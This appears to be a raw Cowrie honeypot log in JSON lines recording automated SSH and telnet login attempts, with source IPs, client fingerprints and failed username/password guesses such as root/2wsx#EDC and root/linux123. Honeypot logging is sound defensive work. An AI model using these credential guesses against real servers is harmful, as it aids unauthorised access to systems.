{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:29.515906Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala","message":"login attempt [mykala/mykala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:29.915708Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala1","message":"login attempt [mykala/mykala1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:31.020022Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala123","message":"login attempt [mykala/mykala123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:32.106103Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala1234","message":"login attempt [mykala/mykala1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:33.190606Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mykala","password":"mykala12345","message":"login attempt [mykala/mykala12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:34.275105Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:35.360524Z","src_ip":"213.209.159.56","session":"2e58459bd399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":40508,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff2df377c3bd","protocol":"ssh","message":"New connection: 221.161.235.168:40508 (159.203.135.109:22) [session: ff2df377c3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:35.774619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:35.781922Z","src_ip":"221.161.235.168","session":"ff2df377c3bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:35.978125Z","src_ip":"221.161.235.168","session":"ff2df377c3bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx#EDC","message":"login attempt [root/2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:36.795224Z","src_ip":"221.161.235.168","session":"ff2df377c3bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:37.994418Z","src_ip":"221.161.235.168","session":"ff2df377c3bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9430b0fd22","protocol":"ssh","message":"New connection: 139.59.208.49:38140 (159.203.135.109:22) [session: cc9430b0fd22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.028457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.033178Z","src_ip":"139.59.208.49","session":"cc9430b0fd22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.116046Z","src_ip":"139.59.208.49","session":"cc9430b0fd22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":59088,"dst_ip":"159.203.135.109","dst_port":22,"session":"d84675ab1fb2","protocol":"ssh","message":"New connection: 189.113.47.155:59088 (159.203.135.109:22) [session: d84675ab1fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.348876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.353656Z","src_ip":"189.113.47.155","session":"d84675ab1fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tester123","message":"login attempt [root/tester123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.464841Z","src_ip":"139.59.208.49","session":"cc9430b0fd22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.469198Z","src_ip":"189.113.47.155","session":"d84675ab1fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mkt","message":"login attempt [root/mkt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:44.965553Z","src_ip":"189.113.47.155","session":"d84675ab1fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:45.546764Z","src_ip":"139.59.208.49","session":"cc9430b0fd22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:46.084465Z","src_ip":"189.113.47.155","session":"d84675ab1fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56178,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c588b5b4d18","protocol":"ssh","message":"New connection: 8.218.166.49:56178 (10.17.0.5:22) [session: 2c588b5b4d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:47.658340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:48.122643Z","src_ip":"8.218.166.49","session":"2c588b5b4d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:48.127047Z","src_ip":"8.218.166.49","session":"2c588b5b4d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:51.569316Z","src_ip":"8.218.166.49","session":"2c588b5b4d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.92516255378723,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:53.354870Z","src_ip":"142.93.69.27","session":"050b1e576fa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"07d97f114a8a","protocol":"telnet","message":"New connection: 142.93.69.27:59068 (10.17.0.5:23) [session: 07d97f114a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:53.772026Z"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:57:58.291095Z","src_ip":"8.218.166.49","session":"2c588b5b4d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":40648,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c89a2a0ff74","protocol":"ssh","message":"New connection: 190.167.237.191:40648 (159.203.135.109:22) [session: 4c89a2a0ff74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:05.389660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:05.395056Z","src_ip":"190.167.237.191","session":"4c89a2a0ff74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:05.463740Z","src_ip":"190.167.237.191","session":"4c89a2a0ff74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adr1an","message":"login attempt [root/adr1an] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:05.757384Z","src_ip":"190.167.237.191","session":"4c89a2a0ff74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:06.827767Z","src_ip":"190.167.237.191","session":"4c89a2a0ff74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":32842,"dst_ip":"159.203.135.109","dst_port":22,"session":"673aa1fa003b","protocol":"ssh","message":"New connection: 124.155.125.131:32842 (159.203.135.109:22) [session: 673aa1fa003b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:08.894890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:08.899578Z","src_ip":"124.155.125.131","session":"673aa1fa003b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:09.073263Z","src_ip":"124.155.125.131","session":"673aa1fa003b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kkkk","message":"login attempt [root/kkkk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:09.798603Z","src_ip":"124.155.125.131","session":"673aa1fa003b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:10.974485Z","src_ip":"124.155.125.131","session":"673aa1fa003b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":52184,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73a56a427c4","protocol":"ssh","message":"New connection: 221.161.235.168:52184 (159.203.135.109:22) [session: c73a56a427c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:15.040448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:15.049917Z","src_ip":"221.161.235.168","session":"c73a56a427c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:15.242437Z","src_ip":"221.161.235.168","session":"c73a56a427c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:16.041825Z","src_ip":"221.161.235.168","session":"c73a56a427c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"616e6bc71e6d","protocol":"ssh","message":"New connection: 165.154.6.49:37398 (159.203.135.109:22) [session: 616e6bc71e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:16.361523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:58:16.366683Z","src_ip":"165.154.6.49","session":"616e6bc71e6d","protocol":"ssh"}
